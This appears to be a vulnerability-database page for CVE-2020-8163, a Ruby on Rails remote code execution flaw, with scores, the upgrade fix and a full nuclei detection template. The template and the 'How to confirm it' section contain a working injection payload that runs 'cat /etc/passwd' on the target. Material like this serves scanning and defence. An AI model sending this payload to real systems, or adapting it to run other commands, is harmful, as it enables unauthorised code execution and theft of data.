HexBrain

Browse / CVEs / CVE-2020-8163

CVE-2020-8163· rubyonrails / rails· CWE-94

Ruby on Rails <5.0.1 - Remote Code Execution

highseverity
8.8CVSS score
82.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.

Impact

Successful exploitation of this vulnerability can lead to unauthorized remote code execution.

Fix

Upgrade Ruby on Rails to version 5.0.1 or above.

How to confirm it

Send: GET {{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-8163 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-8163

info:
  name: Ruby on Rails <5.0.1 - Remote Code Execution
  author: tim_koopmans
  severity: high
  description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
  remediation: |
    Upgrade Ruby on Rails to version 5.0.1 or above.
  reference:
    - https://hackerone.com/reports/304805
    - https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
    - https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8163
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8163
    cwe-id: CWE-94
    epss-score: 0.82465
    epss-percentile: 0.99668
    cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve,cve2020,rails,rce,hackerone,rubyonrails,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from